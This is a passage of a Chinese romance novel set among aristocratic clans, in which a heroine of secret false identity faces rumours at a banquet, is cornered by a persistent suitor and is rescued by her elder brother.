“老夫人可安?”卫玫问王家大娘子,“久缺省问,不知能否拜见?” “祖母念了卫家姊姊妹妹许久,”王大娘子便即引他们往院中走去,“今日一早便等着你们呢。” 卫玫又问几位夫人安,王大娘子道:“祖母醉心林泉,自青溪别墅修葺好便搬了过来,家母随侍在侧,二叔母与五弟是昨日到的。” 她说罢笑着看了卫珠一眼。 卫珠顿时羞红了脸——不用说,二叔母和王五郎自是为了她而来的。 几人跟着王家姊妹走到诸葛老夫人隐居的栖静园,走到厅事前,便听帘内隐隐传出说笑声。 王大娘子问了问婢女,向卫家姊妹道:“可是巧了,卫家世兄正在堂中与祖母说话呢。” 卫婴心头一跳,想起卫珩的确说过要顺道来拜访诸葛老夫人,可她一见下起暴雨,便以为他不会转道前来。 本来他拜访完了就走,错开便罢了,哪知那么凑巧,又在这里遇见了。 王大娘子看着卫婴偏了偏头:“三妹妹不知令兄会过来么?早知道应该遣船去接的,实在失礼。” “家兄今日去本业寺赴清谈雅集,故而未与我们同船。”卫婴说的是实话,听起来却像借口。 王大娘子淡淡地一笑:“原来如此。” 卫王两家世代通婚,有通家之谊,小辈之间也不必避忌,一行人便进了厅事。 卫婴一眼便看 见坐在诸葛老夫人身旁的长兄。 许是因为赴雅集的缘故,他今日一身都中士人装束,褒衣博带,头戴漆纱冠,越发丰神如玉、秀骨清像,不似尘寰中人,倒像是从莲台上走下来的。 不止王家几个姊妹看得呆了,连卫婴都晃了晃神。 卫珩却对她视而不见,只起身与王家众姊妹见礼,又问卫玫一路行舟可还顺利。 卫玫迟疑了一下,回答:“今日三妹妹有些晕船。” 卫珩这才看向卫婴,目光在她脸上稍作停留,便又移了开去,只点点头,淡漠地说了一声:“多加小心。” 众人看卫婴的眼神便有些异样。 诸人中她与卫珩理当最亲近,长兄却绕过她问隔房的堂妹,旁人都能看出她脸色白惨惨的,亲兄长却对她不闻不问。 众人心下便都有了计较。 拜见过诸葛老夫人和两位夫人,姊妹们依次落座。 诸葛老夫人最喜标致的少年男女,对卫家长房这对兄妹一向很是偏爱,每回见了卫婴都来回打量:“如此嘉儿,恨不生在我家。” 这也是卫婴选中王诚的一大原因——婆母好性,老夫人又喜欢她,嫁过来便不会有人为难她。 然而今日诸葛老夫人见了她,只淡淡夸了一句“出落得越发标致了”,便自然地越过她,招手叫卫珠到自己身边坐下,执着她的手叙话,又褪下腕上一对白如羊脂的玉钏套在她腕上。 卫珠受宠若惊,直称太过贵重不愿收,诸葛老夫人佯装气恼,板着脸道:“往后就是一家人了,难道还要同祖母见外?” 卫珠这才红着脸受了。 王诚的母亲则送了她一双祖传的玉佩作见面礼。 卫珠到底掩饰不住心里得意,瞥了卫婴一眼。 卫婴含着些许促狭的笑望着她,仿佛只是姊姊揶揄妹妹。 这时与卫珠一母同胞的八娘子卫琴忽然说:“老夫人,我四姊夫今日在不在?阿琴想看看四姊夫长什么样。” 卫珠忙去捂她的嘴:“阿琴,不可胡言乱语!” 众人却都被卫琴的童言童语和卫珠的小女儿情态逗乐了。 诸葛老夫人便看向儿媳:“小阿琴都发话了,今日怎么也得让她见着这四姊夫。” 二夫人笑容微僵,面露难色:“诚儿昨夜染了风寒,嗽了一夜,未能成眠,恐怕……” 卫珠忙说:“世兄既然欠安,让他好生修养罢。” 大夫人笑道:“好孩儿,还未过门已经知道心疼世兄了。” 众人又笑了一回。 卫婴暗暗松了一口气,昨日将信退给二夫人果然是明智之举,以王诚的性子,若当真叫来相见,说不定会说出什么叫人难堪的话来。 卫珩稍坐了一会儿,起身告辞,诸葛老夫人坚决挽留:“既都来了,如何便要急着走,倒叫人说我老妪待客不周。清谈雅集不是明日么?再说那些雅集何日无有,不去也罢。” 其他人也七嘴八舌地劝:“才下过大雨,山路泥泞,车马不便,不如待明日放晴再动身。” “二郎下了值也会过来,你们也有半年未见了,他常说要与你秉烛夜谈呢!” 卫珩似叫他们说动了,沉吟着,若有似无地瞥了眼卫婴。 卫婴不自觉地用力捏住青玉竹节扇柄。 卫珩收回目光,颔首:“老夫人盛情难却,晚辈便厚颜叨扰了。” 7.身世 筵席在夜里,见完诸葛老夫人,卫家姊妹便先去今夜下榻之处更衣歇息。 卫氏姊妹七人,随行的婢仆也有几十人,王家便将临湖的一片馆阁都与了他们。 周围遍植瑶草琪花,竹木成丛,精巧玲珑的楼阁台观掩映其间,犹如世外桃源。 卫婴分到的是一间竹林深处的两进雅舍,名为幽篁小筑。 婢女们将带来的寝具、香具、茶具、器玩等等铺陈布置好,便服侍卫婴卸了钗环,更衣沐浴。 离夜宴尚有一两个时辰,卫婴便换了寝衣躺下歇息,心里盘算着今日种种,袁氏姊妹的疏远、王家人的冷待、骤减的书信……其中隐隐有条线索,可她却不得其解。 最令她不安的还是长兄的态度。 方才的冷淡,莫非是因她拒绝与他同舟? 可卫家玉郎怎么会同妹妹计较这等事。 何况他多问一句也许只是客套,她回绝后也不见他有丝毫愠色——他那样喜静爱洁的人,未必真心想与人同舟共渡。 心里有事,卫婴的思绪一直绕着长兄打转,本想小憩一会儿也睡不安稳。 翠翘唤她起来时,她只觉头越发晕了,后背阵阵发冷,对着镜子一照,只见脸色煞白。 “女郎可是不舒服?”翠翘担心她,“要不要知会主家,请医者来诊个脉?” “无碍,不必叨扰主人,只是仍有些头晕罢了。”卫婴也觉疲倦,但是今晚的宴会她必须去,她得见了其他宾客才知道是不是自己多心了。 换作青栀多半会劝她,而翠翘胆小性软,不敢多说什么:“奴婢伺候娘子梳妆。” 卫婴沉吟片刻:“叫靺鞨过来。” 片刻后,身着裤褶、蜂腰猿背的小婢女走进屋内:“女郎有什么吩咐?” 她是卫家部曲的女儿,父兄都是卫珩的扈从,也会些拳脚,性子也机敏伶俐。卫婴偶有棘手些的差事,便会交给她。 她招手将小婢女唤到跟前,附耳同她说了几句。 靺鞨拍拍胸膛:“女郎放心,交给奴婢便是。” 遣了她出去,卫婴叫了翠翘来替她更衣梳妆。 她平素铅华弗御,今日为了遮掩苍白脸色略施朱粉,立即光彩熠熠、明艳照人。 不多时打扮停当,已是掌灯时分,主家派来的肩舆也已到了门口。 夜宴设在别墅后山顶上听风馆,卫氏姊妹到时,别家宾客差不多都已到齐了。 从山脚到山顶,一路的花树上都挂着琉璃风灯,远望如星河落入尘间。 琅琊王氏论底蕴比河东卫氏稍逊一筹,但因渡江早,又辅佐先帝立足江左,与王族司氏关系匪浅,擅山海之富,居川林之饶,称得上富可敌国。 卫婴与姊妹们在馆前下舆,步入雕梁画栋的檀馆中,只见里面灯树煌煌、绮罗如云。 宾主差不多都已到了,卫婴扫了一眼,列席的多是熟人——与卫氏不同,王家几乎不与吴地世族往来,邀请的都是侨姓世家的女郎。 他们三五成群地聚在一处,兴致勃勃言笑晏晏,絮絮的语声与香雾一起飘浮在半空中。 可她一出现,堂中说话声戛然而止,众宾客不约而同地看向她。 卫婴的心微微一沉。 她对这样的眼神并不陌生,她初到卫府,第一次随堂姊妹赴宴时,他们便是这么打量她的,好奇、玩味、权衡、讥嘲……或许还有隐隐的敌意和拒斥,是一群同类中忽然闯进一个异类时的反应。 她费了许多心思揣摩、学习,才终于伪装成同类混迹其间,并且如鱼得水。 无论她到哪里,都是众星拱月的那个,总有一群人围着她嘘寒问暖,她赴宴时的穿戴总是在几日内风靡建康。 她有今日的一切,不止因为她是卫叔玉的妹妹,她是靠着自己从“竟是卫叔玉的亲妹妹”,一点点磨骨画皮,变成“不愧是卫叔玉的亲妹妹”。 可眼下她就像修炼成精的妖怪突然被打回原形。 这背后一定有她不知道的事,多半是传出了什么流言。 这种事,本人通常都是最后一个知晓的。 若是谢昙在建康就好了,若她在,一定会预先告诉她,让她可以未雨绸缪,若是今日有她在场,自己也不至孤立无援。 身旁的卫玫显然也察觉出异样,暗暗松开了挽着她的手。 年幼的卫琳却是不谙世事,跑过来牵牵她衣袖,举着一只金线编成的蚱蜢,献宝似地给她瞧:“三姊姊三姊姊,看我新得的草虫,好不好看?” 不等卫婴回答,卫玫便牵起妹妹的手,不动声色地将她拉开:“快开宴了,琳儿莫乱跑。” 卫婴悠悠地看了她一眼,卫玫到底不过十几岁的少女,脸上顿时生出红晕。 卫婴收回视线,用点力掐了一下掌心,掐出个明媚的笑容,微微昂起头,迎着众人的目光,款款步入堂中,若无其事地与宾主见礼寒暄。 大约是她从容不迫的模样唬人,一些人犹疑起来,探究和观望占了上风。 天边最后一丝暮紫褪去,宾主依次入席,水陆珍馐流水似地呈上来。 卫婴身上不适,又有心事,自然没什么胃口,只用了几口糕饼便停了箸,只小口抿着山阴甜酒,佯装观舞赏乐,实则眼观六路耳听八方。 酒过数巡,她眼角余光瞥见袁五娘低头,似乎发现了靺鞨寻机悄悄弄在她身上的油污。 袁五娘立即带着自己婢女离席,卫婴稍待片刻,也起身向翠翘说:“陪我去更衣。” 出了宴堂,她快步跟上袁五娘,在廊庑的转角处,借着茂树遮挡,她不轻不重地唤了一声:“袁家姊姊留步。” 袁五娘这回不能装作听不见了,只得转身与她见礼:“卫家妹妹这一向可好?” 卫婴看了眼她身旁婢女:“我与袁姊姊说两句梯己话。” 袁五娘涨红了脸,不得不吩咐婢女:“你先去净室等我吧。” 待婢女离远后,卫婴如释重负似地轻舒一口气:“我还以为哪里失礼,见怪于姊姊,惹得姊姊不愿理我了。” 袁五娘显是未曾料到她会直截了当地说出来,尴尬地捏着衣袖:“怎么会呢,妹妹多心了。” “那我就放心了,”卫婴将绢扇放在心口,“今日在舟上姊姊对我视若无睹,我百思不得其解,担心了一日。” 她微微偏头,眨了眨眼:“可我还是想不通,姊姊为何一见我便扭过头去,姊姊可否为我解惑?” 袁家教养子女出了名的严苛,袁五娘又天生脸嫩皮薄,所以卫婴才找她下手。 袁五娘被她问得直揪帕子,只不住地说:“卫家妹妹多心……” 卫婴暗暗叹气,这袁五娘也是老实,换作是她,只抵死不认便是了。 “若非我无意怠慢了姊姊……莫非是姊姊听说了什么闲话,有什么误会?”她一边说一边走近两步,细细打量袁五娘神色。 袁五娘目光躲闪:“自然没有……” 卫婴一见她这神情,哪还有不明白的,当即上前握住她的手,微微偏过身对着廊上风灯,让光洒在眼里,颤着双水盈盈的眼睛,语气诚挚:“袁姊姊,我自小不在建康长大,在这里也没几个知心朋友,我知道袁姊姊真心待我好,我也将你视作自家姊姊。实不相瞒,我一心盼着有朝一日能与姊姊成为一家人……” 她微微颦眉,长睫微颤,眸中泪光闪烁:“若是有什么流言蜚语,还请姊姊告诉我,莫叫我傻乎乎蒙在鼓里。” 卫婴本就生得纯稚无辜,翦水双瞳蓄起泪水更是我见犹怜,袁五娘只觉心尖像是叫人掐了一把,又听她说想与她成为一家人,头脑一热,忍不住脱口而出:“近来的……的确是有些流言……不过都是无稽之谈,妹妹不必放在心上,无人会信的。” “是何种流言?” “这……” “好姊姊,就告诉我吧……”卫婴抓着她的衣袖晃了晃。 袁五娘一脸为难,绞着帕子支支吾吾说不出话来。 “若连姊姊都不帮我,我真不知该如何是好了……”卫婴泫然欲泣。 袁五咬了咬唇:“有人传你不是卫家的……” 话说到一半,回廊尽头忽然有人唤道:“五妹,可是你在那里?” 袁x娘欠了欠身:“对不起卫家妹妹,阿姊在唤我了,失陪。” 卫婴知道一旦泄了气,就算拽着她不放她也不会再说了,心里懊恼不已,脸上只是感激:“袁姊姊愿意同我说话,我已感激不尽。” “我……” “我都明白,”卫婴善解人意地在她指尖轻轻捏了一下,旋即松开,“快去吧,别让令姊久候。” 袁五娘快步走到姊姊跟前:“阿姊怎么来找我?” “见你 去个净室迟迟不回,不放心你,”袁三娘乜了妹妹一眼,“你方才在同谁说话?” 袁五娘低下头。 “是不是卫婴?” 袁五娘不自觉地摇头。 “还瞒着阿姊呢,”袁三娘没好气道,“隔几丈远都能看见那钗头上大珠子一闪一闪的,除了她还有谁?告诉过你别同她多来往,你偏不听。” 袁五娘只得承认:“只是碰巧遇见……阿姊,我看她吃穿用度还和从前一样,便如阿姊所言,钗头那颗金色南珠便稀世罕见,那传言不像是真的吧……” 袁三娘轻嗤一声:“吃穿用度看得出什么,焉知不是旧物?卫郎那样的人,难道给出去的东西还会收回来?” 袁五娘咬了咬唇,蹙起双眉:“可是她生得就像卫家人啊。” “貌美之人多少有些相似……再说养在一起这许多年,越来越像也不足为奇,”袁三娘倾身贴近妹妹耳畔,“本来我也不太信,但我听王家四娘子说,今日在诸葛老夫人堂中,他们兄妹形同陌路。卫郎听说她身体不适,连半句关切之语都无,看来空穴来风必有其因。” 顿了顿:“总之你切勿与她深交,若传言是真,连你也会变成笑柄。” 他们一边说一边走,不一会儿便消失在廊庑尽头。 待他们走后,树后探出一颗脑袋,接着一个梳着丫髻的小婢子猿猴般灵巧地翻过阑干,无声地落到地上。 卫婴朝她走过去,摇了摇绢扇:“方才他们说的话都听见了?” 靺鞨便即附在主人耳边,将袁家姊妹说的话一五一十告诉了她,末了说:“也不知哪个丧良心的给女郎泼这样的脏水!” 卫婴几乎将手中扇柄捏断,竭力压住胸中惊涛骇浪,点点头:“只是些无稽之言罢了,你继续替我四处打探,若能知道是哪里传出来的更好。” 慢慢踱到听泉馆,回到座中,她逐渐冷静下来。 当初那场船难,幸存下来的唯有她和串通骗人的嬷嬷,嬷嬷两年前急病死了,如今能看出她是赝品的,只有自幼看着她长大的舅父一家了。可南北相隔,舅父又因姊姊的缘故深恨卫家,两家早就断了往来。 若真是舅父家来人,卫府不可能风平浪静,却在外头传得沸沸扬扬。 卫婴想明白了,多半只是有人造谣生事,碰巧戳中了真相而已。 此时自乱阵脚反而容易露出破绽。 在弄清楚流言详情和源头之前,她必须按兵不动。 正思忖着,肩头忽然一凉,酒香瞬间弥漫开来,原来是捧壶的婢女没拿稳,手一滑将半壶甜酒倾在了她身上。 她从肩头到衣襟都洒了淋漓酒液。 婢女惊惶失措,连声道:“女郎恕罪,女郎恕罪……” 王家大娘子连忙过来亲自赔罪:“下人粗蠢,是我管教不严之过,请卫家妹妹见谅。” 说罢即令那闯祸的婢女退下,又就近召了个侍婢来,叫她带卫婴去更衣。 卫婴无可奈何,琅琊王氏的筵席上怎会有粗手笨脚的侍女,不过是将人引开的常见伎俩罢了。 自己刚对袁五娘使了差不多的招数,立刻就遭了现世报。 她站起身,用绢帕拭了拭肩头的酒液,脸上毫无愠色,轻轻扶了扶鬓:“无碍的,我正好有些头晕,想早些回去安置,请恕失陪了。” 王家大娘子还未来得及说什么,王六娘快步走来:“卫家姊姊衣裳湿了,风一吹着凉就不好了,不如先去更衣吧。” 卫婴心如明镜,王六娘是王诚一母同胞的妹妹,这壶酒出自谁的授意一目了然。 她静静地打量她一眼,王六娘目光闪躲,心虚都写在了脸上。 大娘子也看出端倪:“既然妹妹抱恙,便快回去歇息罢。” 当即命人取来她的红纶帔,亲手披在卫婴肩头,又吩咐人准备肩舆,亲自将她送出宴堂,再三赔礼。 面对同样流言,有如袁家姊妹这样听风就是雨的,也有王大娘子这样不露声色的聪明人。 不多时,肩舆停在幽篁小筑前,卫婴扶着翠翘的手下了舆车。 一迈进门,便看见有个人影站在照壁前。 翠翘“呀”地轻呼了一声。 那人拖着腿一瘸一拐走上前来:“三妹妹……” 卫婴不自觉地退后一步,冷冷打断他:“王郎君不该在此处。” 8.蛮缠 王诚不意他等来的是少女冰霜似的脸,寒箭般的言语,一时茫然无措:“三妹妹……” 卫婴没等他回过神,便向婢女道:“翠翘,送王郎君出去。” 王诚一听她下逐客令,顿时又急了,抬手挥开翠翘:“三妹妹,我千辛万苦才找到机会同你说话,请容我说句话。” 翠翘不敢拦着他,手足无措干着急。 卫婴知道这软绵绵的小婢女指望不上,又不想招来更多人,这是王氏的别墅,她随行的人里有两个张老夫人的耳目,若是让祖母以为她与王诚牵扯不清,不知要怎么借题发挥——祖母这样的人不会因为理亏想着弥补,反而要千方百计抓别人的错处,证明自己有先见之明。 她果断转身就走:“王郎君不走,我走便是。” 王诚一瘸一拐地追上来:“三妹妹等等……” 卫婴只作听不见,便要推门,谁知方才还虚掩着的院门却推不开了,外面传来锁链的哗啦声响,接着便是“咔”的一声——有人在外面将门反锁上了。 卫婴难以置信地转过身看着王诚:“王五郎,你究竟何意?” 王诚比她大两岁,脸上稚气未脱,圆润的内眼角和微厚的嘴唇都显得憨厚无害,可眼下这张脸被翠翘手中的琉璃灯从下往上照着,只显得狰狞。 他望着她的眼睛:“三妹妹可是在与我置气?都怪我不好……我早已向祖母与母亲禀明心迹,但他们还当我是孩童,自作主张左右我婚事……三妹妹放心,我心意已决,无论你身世如何,是不是卫氏亲生之女,我都认定了你!” 卫婴后悔自己看走了眼,她只道他纯良憨直,却不知这样的人对认定的事、认定的人往往不易改变,又是情窦初开,格外偏执。 “王郎君,”她不敢过分激他,好声好气劝道,“你与舍妹已经定下亲事,如此行事非但逾礼,而且罔顾两家世交情谊,实属不智。” 谁知王诚这蹬鼻子上脸的东西居然说:“还只是议亲,并未说定,我想娶的是三妹妹,只有三妹妹,我们一同去向祖母、母亲陈情,金诚所至金石为开……” “等等,”卫婴打断他,“我与你并无瓜葛,更无私情,我不想嫁你。” 他的话倒也并非不可行,不惜名声、不顾脸面将生米煮成熟饭,两家也只好捏着鼻子认下这桩亲事。 可他王诚是天仙还是金子打的,值得她这么做? 这桩婚事不错,但也没有好到需要用她的闺誉来换。 何况眼下见识到他偏执性情,她能嫁也不敢嫁了。 王诚脸上空白了一瞬,微微张着嘴说不出话来,过了一会儿方道:“三妹妹明明对我有意的,那回上汜在水边,我拾得你的幂篱还给你时,你对我那一笑……后来你每回见到我,都会对我那样笑……我不信你对我无情!” 卫婴那笑的确不无辜,但她自然不能承认:“我天生爱笑,对谁都笑的,只是因两家世交,我将你当自家兄长罢了。” “不是对兄长的笑!那种笑不一样!我分得清!” “没什么不一样,我对我阿兄就是那么笑的,是王郎君想多了。” 照壁后的脚步声更近了,有婢女出声询问:“女郎,可是出什么事了?” 翠翘总算顶了一回用,快步绕过照壁,迎面截住那婢女:“无事,你先去浴房替女郎备热水。” 卫婴听见翠翘将人支开,方才松了一口气。 可不等她这口气松到底,王诚忽然攥住了她的手腕:“我知道三妹妹对我并非无情,我们一起去xx堂!” 男人用了十成力气,铁钳似地箍着她,怎么也甩不脱,卫婴又疼又急,低斥:“王诚,你疯了么?!” 王诚笑起来:“三妹妹说的对,或许我是疯了,不过也是拜妹妹所赐。我送来的书信三妹妹明明都收下了,如今却要与我撇清……” “等等,”卫婴诧异,“我何时收过你的书信,不都退回去了么?” “事到如今妹妹自是不愿承认,可你送我的香囊我还珍藏在书箧里呢!” “我从未送过你什么香囊,”卫婴急道,“你先放开我,不然我就放声呼救了!” “那样更好,三妹妹不怕人看见,我更不怕,”王诚一身破釜成舟的气势,“正好坐实了私情,祖母和母亲不得不同意……” 话说到一半,忽听门外铁链响动。 卫婴惊道:“有人来了,快放开我!” 王诚脸色一变,却仍然死死攥着她的手腕。 拉扯间门“吱呀”一声从外面开了。 两人齐刷刷看向门口。 一道颀长身影提着风灯跨过石槛,寒泉般的声音叫人心里发凉:“不得不同意什么?” 王诚不知不觉松开了卫婴的手。 卫婴浑身僵硬,耳边嗡嗡作响。 卫珩怎么会在这里?为何偏偏叫他撞见? 他是何时到的?门外王诚的人呢?他隔着门可听见他们说的话,听见多少? 她心乱如麻,头脑中一片空白,想不起来身为一个妹妹,遇到这等事该对兄长说什么。 不等她盘算明白,卫珩先抬了抬下颌:“阿婴,过来。” 卫婴方才回过神来,像天底下所有受了委屈的妹妹,快步走向长兄,仰起脸来泫然欲泣地唤了声“阿兄”,便双手捂住脸啜泣起来。 卫珩伸手虚揽住妹妹的肩头,掀起眼皮看向王诚:“王郎何意?” 王诚看着这对兄妹,卫家玉郎似瑶林琼树,妹妹便如纤纤弱柳,依偎在兄长身旁,男子英挺,女子柔媚,真是神仙般的一对璧人。 卫珩的语气、眼神,与其说是苛责,毋宁说是彻底的无视,仿佛他只是路边一块顽石,脚底下一撮微尘。 他只觉自惭形秽,无地自容,脸上火辣辣作痛,恨不能找条地缝钻进去。 心中莫名涌出一股妒意,可旋即回过神,他妒什么? 那是三妹妹的兄长,就算真如流言所说,卫婴不是卫家血脉,可他们还是同一个母亲生的,是血脉相连的亲兄妹! 有的话再不说,等真的开始走六礼,就来不及了。 王诚咬咬牙,向卫珩长揖至地:“王诚愿求娶令妹,请卫兄成全!” 卫珩轻笑了一声:“父母之命,媒妁之言,王郎若有此意,该同令尊令堂商议,三媒六礼登门求娶,而不是来为难舍妹。” 他的声音陡然一冷:“你如此行事,将舍妹名誉置于何地?” 王诚叫他数落得无言以对,讷讷行礼:“诚知错,请卫兄、三妹妹见谅。” 又向卫珩道:“诚关心则乱,对三妹妹的心天地可表,日月可鉴……诚一定恳求祖母父母,三媒六礼来求娶妹妹,还望卫兄成全……” 卫珩并不理会他,只是将手在妹妹的肩头沉了沉:“阿婴。” 卫婴当即会意,含着泪,带着哭腔解释:“阿兄,我与王郎君真的没有瓜葛,我们从未私会过,更不曾私相授受,连话也不曾说过几句。” 卫珩点了点头,向王诚道:“舍妹的意思想必你已听清楚了。” 王诚仍是不甘心:“三妹妹,只要你愿意嫁我,我会一辈子视你为珍宝,此生绝不纳妾,也不会有第二个人……” 卫婴见识到他的疯劲,哪里还敢沾上半点:“王郎君,我无意于你,请你别再纠缠了。” 卫珩打开门:“请。” 王诚踟蹰着不愿走,可卫珩已经将风灯递到了他手上,他只好懵懵地接过来,不舍地看着卫婴,双眼被泪水模糊,口中喃喃:“三妹妹,三妹妹……” 卫珩向守候在门外的部曲吩咐:“护送王郎君回去。” 王诚往门外一看,那几个卫家部曲个个器宇轩昂,一看便有武艺在身,而他那不争气的扈从不知何时就被捆了手脚塞住了嘴,躺在一边地上。 他只好依依不舍地唤了一声三妹妹,然后退了出去。 甫跨过门槛,门扇便在他身后重重阖上。 他双腿仿佛失去了知觉,如同踩在淤泥里,只有早上挨笞杖的地方钻心疼痛 。 走出两步,他停下来转头看着紧闭的门扇,心里忽然生出疑窦,今夜他几个兄长不是在设宴款待卫珩么?他为何会来这里? 他下榻的地方离这幽篁小筑不近,也不顺路,他半夜三更为何会来妹妹的住处? 一门之隔,卫婴同样困惑,卫珩怎么会来这里? 他的手还虚虚拢在她肩头,风灯方才给了王诚,眼下四周一片昏暗,只有院子里微微的光从竹影间透过来。 她看不清他的神色,他身上的气息却清晰可辩,平素的沉檀香气中混杂了淡淡的醇酒气息,还有王家宴堂中特有的合香气味。 可见方才他的确是在与王家人饮宴。 卫婴每回与他贴近,便觉他的气息如茧般将她层层包裹,叫她喘不过气。 她不自觉地缩了缩肩膀:“阿兄不是在同王家几位郎君饮宴么?怎么过来了?” 他偏过头注视她,不答反问:“我若不来,你待如何?” 靠得太近,呼吸也近在咫尺,他的呼吸里却闻不见酒气,只有熟悉的隐隐冷香——膏粱子弟衣食住行都格外讲究,想是用清茶漱过口了,似乎还有香丸的气味。 若他不来该当如何? 当然是想办法把王诚打发走。 毕竟王家家风还算清正,王诚也还嫩着,不会做出太出格的事,只要她耐下性子软硬兼施,总有办法应付过去。 再不济狠踹他腿脚攻其不备,然后顺着树干爬到墙头,便能翻墙逃出去了。 眼前的长兄却比王诚棘手一百倍。 心里这样想,嘴上自是不能说实话,她心有余悸地摁着心口:“要不是阿兄解围,阿婴真不知该如何是好。” 她低下头,轻轻吸了吸鼻子:“对不住,叫阿兄操心了。” “阿婴不曾做什么,何错之有?” 卫婴有些心虚,咬着嘴唇噙着泪:“偏我遇到这样的事……若今夜之事传扬出去,说起来总是我的错处……” 卫珩伸出手,用指腹点了点她眼角的泪,仿佛轻抚花瓣上的露珠。 卫婴唬了一跳,不自觉避开:“阿兄……” “所以他说的那种笑,是什么样的?我不曾见过,有些好奇。”卫珩望着她的眼睛,嘴角带着笑意,眼里却分毫不见。 卫婴怔了怔,才想起是什么意思——王诚说她用笑引诱他。 所以他那时就在门外了,他们说的话他全都听见了。 她的血液几乎结冰,心脏乱跳,脸上只作委屈:“是他误会我,我已同他解释了,我对阿兄也是这样笑的,莫非阿兄以为我故意……故意……”说着便哽咽起来。 卫珩看了她一会儿:“我自然信你。我是你兄长,无论如何都会护你周全。” 直到这时他方才解释:“明日一早要动身,便想早些回去安置,途经此处,便想来问问你身体可好些。” 卫婴佯装恍然大悟,心里却不太信。 要真担心她身体,在诸葛老夫人那里又为何对她不闻不问。 这样忽冷忽热、阴晴不定,真是叫人捉摸不透。 “已好多了,只是头还有些晕,”她轻轻扶了扶太阳穴,“想来睡一夜便无事了。阿兄一路走来也乏了……” 卫珩仿佛听不懂她的暗示:“是有些乏了。” 却没有半点要走的意思。 卫婴只好问:“阿兄可要进来坐会儿,饮杯茶?” 她只是客套一问,毕竟传出了那等谣言,她需要与卫珩重修旧好。 但她没想过卫珩当真会进去。 他们虽是“亲兄妹”,但毕竟男女有别,半夜三更共处一室便逾矩了。 卫珩的目光悬在她头顶,似乎也在犹豫。 卫婴忽然没把握了。 她不由自主屏住了呼吸,静谧的夜色里,心跳如擂鼓般一下一下地敲。 她知道黑暗中卫珩正在打量着她,仿佛刻意延宕,欣赏她的困窘。 良久,她听见长兄轻轻吐出一个字:“好。” 9.留客 兄妹两人并肩走在廊庑上,婢女们后知后觉,待他们走过后,悄悄交头接耳:“我就说方才隐隐听见男子说话声,原来是我们郎君。” 卫婴引长兄穿过庭院。 卫珩环顾四周:“这院落名副其实,颇有静趣。” 卫婴随口附和:“王家修葺这别墅费了不少心思。” “阿婴可喜欢这别墅?” 卫婴点头:“此处林泉幽奇,楼馆工巧,深得雅人风致。” 自然是喜欢的,好东西好山水她都喜欢,并且想据为己有。 “我在会稽东山选了一片山林,南北约四五十里,东西十五里,”卫珩道,“阿婴若喜欢,也可建成庄园别馆,林泉之美更甚于此。” 卫婴不由意动,可随即她就想起来,这么大一座庄园别墅,建起来少说也要一两年,到时候她早就嫁人了,左右也享用不到,便无可无不可:“阿兄定夺便是,若有机会一游,阿婴便心满意足了。” “定有机会的。”卫珩轻轻一笑便揭过了话题。 两人说话间已走到堂中。 幽篁小筑是摹仿隐士山居所建,并不待客的正堂,只有卧房旁辟出的一室,既是书斋也是琴室,与卫婴的卧房只有一帘之隔,步入房中,她最喜爱的帐中香便透过帘帷飘来,幽幽地浮动着。 卫婴亲自扫榻,请长兄坐下,正要去唤婢女奉茶,一转眼却见他已拿起案上茶壶,给自己斟了碗冷茶。 那还是早晨出门前煮的茶,连那只白瓷茶碗也是她用过的,边缘还染着淡淡的唇脂颜色,似少女白玉无瑕的肌肤里透出一抹酡红。 她来不及提醒,长兄已端起茶碗抿了一口,薄唇叠在那抹红晕上。 再出言提醒难免尴尬,卫婴只得道:“这茶已冷了,冷茶伤身,阿兄莫喝了,我叫人来重新煮过。” “不必了,只是一路行来有些渴,”卫珩将残茶一饮而尽,“妹妹这碗茶正好解渴。” 他放下茶碗,目光在碗沿的红晕上一顿。 卫婴留意他一举一动,自然也看在眼里,耳根倏然发起烫来。 卫珩收回目光,看向她放在案头的书卷。 卫婴道:“阿兄说我可以开始习读春秋左氏传,便从家里藏书阁取了几卷来。” “旅途辛劳仍不忘读书,阿婴用心了。” “阿兄的教诲,阿婴时时不敢忘的。” “阿婴可有不解之处?我或可与你探讨一二。” “有阿兄指教,阿婴求之不得。”卫婴便指了书卷中几处小疑问,卫珩一一耐心替她讲解了。 两人不咸不淡地说着话,卫婴一颗心却始终悬着。 方才虽是王诚纠缠她,长兄也说并非她之过,可他当真是这样想么? 王诚那番话,他听见多少,又信了多少? 若他知道她使了多少心机手段,越过他这长兄为自己筹谋婚事,会不会令他不悦? 她固然害怕靠他太近,又实在舍不下他这个最大的倚仗。 他就像那深不可测、暗礁遍布的水域,靠得太近会被风浪吞噬,可离了也会干渴而死。 尤其是那样的流言甚嚣尘上,若卫珩因此与她生了嫌隙,岂不是坐实了她血脉有疑? 卫婴从来不是坐以待毙的人,便做出坐立难安、心烦意乱的模样。 卫珩收起书卷:“阿婴似乎心不在焉,可是有心事?” 卫婴轻咬嘴唇,低眉垂睫:“我只是想起方才王五郎的一些话,心中不安……” 卫珩撩起眼皮,用问询的眼神看着她。 “他说我收了他的书信,又以香囊相赠……” “阿婴不曾做过。” “当然,”卫婴睁大眼睛,泪光在眼眸中闪动,“我不曾收过什么书信,更别提香囊,这些都是子虚乌有的事。” 卫珩撩起眼皮注视她,漆黑眼珠仿佛能把周围的烛光吞没。 卫婴说的是真话,可叫他这样看着,还是没来由一阵心虚。 “既是子虚乌有,便无须担心。”卫珩安慰她。 “可我思来想去,王家郎君不像是信口雌黄之人……” 卫珩又看了她一会儿:“阿婴似乎对王诚的为人颇为了解。” 卫婴心脏一缩:“我自是道听途说,且王氏门风谨严,其子弟应当不至如此……祖母既许了四堂妹婚事,想必对他人品有所考量。” “若以王氏门风论,王诚也不该有今日之行径。”卫珩并无谴责之意,仿佛只是与她平心静气地探讨书卷中的疑问。 卫婴乖顺地低下头:“阿兄所言甚是,是阿婴想当然了。” “不过我信你的眼光,”卫珩话锋一转,“其中或有内情,我会着人查清。” 顿了顿:“放心,他不会再来打扰你。” “有阿兄此言,我便不怕了,”卫婴用帕子拭了拭子虚乌有的泪,“幸好有阿兄在。” 实则她早就把王诚抛诸脑后——连自己祖母母亲都对付不了的男人何足为惧。 她只是有些遗憾。 王氏在江左根深蒂固、枝繁叶茂,人丁也是十分兴旺,嫡支旁系不乏出众的子侄,有几个年岁相当还未定下亲事的,原本都可作她夫婿人选,可今夜王诚这一闹,王家子弟她是彻底断了念头。 若是嫁进去之后王诚对她不死心,闹出事来,他们不会说王诚的不是,只会怪她红颜祸水,令兄弟阋墙。 卫婴越想越懊恼,简直悔不当初,真不该去招惹这种情窦初开的莽撞少年郎。 下回一定引以为戒。 她又蹙起方才舒展开的眉头:“四妹妹那里怎么办?王诚性情偏执,不知是否良配……” 